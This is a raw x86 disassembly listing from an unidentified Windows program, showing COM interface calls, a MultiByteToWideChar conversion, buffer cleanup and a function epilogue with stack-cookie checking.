push 0
push dword [ebp - 0x530]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x528]
lea edx, [ebp - 0x21c]
push edx
push 0x423290
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x404f3e
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x21c]
lea edx, [ebp - 0x218]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x21c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x528]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
lea ecx, [ebp - 0x264]
mov byte [ebp - 0x529], 1
call fcn.00402950
push dword [ebp - 0x524]
call fcn.0040c0a7
push dword [ebp - 0x4fc]
call fcn.0040c0a7
push dword [ebp - 0x4f8]
call fcn.0040c0a7
add esp, 0xc
call edi
mov edx, dword [ebp - 0x220]
cmp edx, 0x10
jb 0x404fbe
mov ecx, dword [ebp - 0x234]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404fb4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405116
push edx
push ecx
call fcn.0040c1fd
add esp, 8
push dword [ebp - 0x3dc]
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
call fcn.0040c0a7
push dword [ebp - 0x3b4]
call fcn.0040c0a7
push dword [ebp - 0x3b0]
call fcn.0040c0a7
add esp, 0xc
call edi
jmp 0x40453a
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov al, byte [ebp - 0x529]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040c096
mov esp, ebp
pop ebp
ret
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
test eax, eax
je 0x4050f3
mov eax, dword [ebp + 0xa8]
add eax, dword [ebp + 0x90]
add eax, dword [ebp + 0x78]
je 0x4050f3
sub esp, 0x18
lea eax, [ebp + 0x98]
mov ecx, esp
mov dword [ebp - 0x534], esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x23
lea eax, [ebp + 0x80]
mov dword [ebp - 0x53c], esp
mov ecx, esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x24
lea eax, [ebp + 0x68]
mov ecx, esp
push eax
call fcn.00409fa0
mov byte [ebp - 4], 0x11
call fcn.00406880
add esp, 0x48
call fcn.0040bdf0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
int3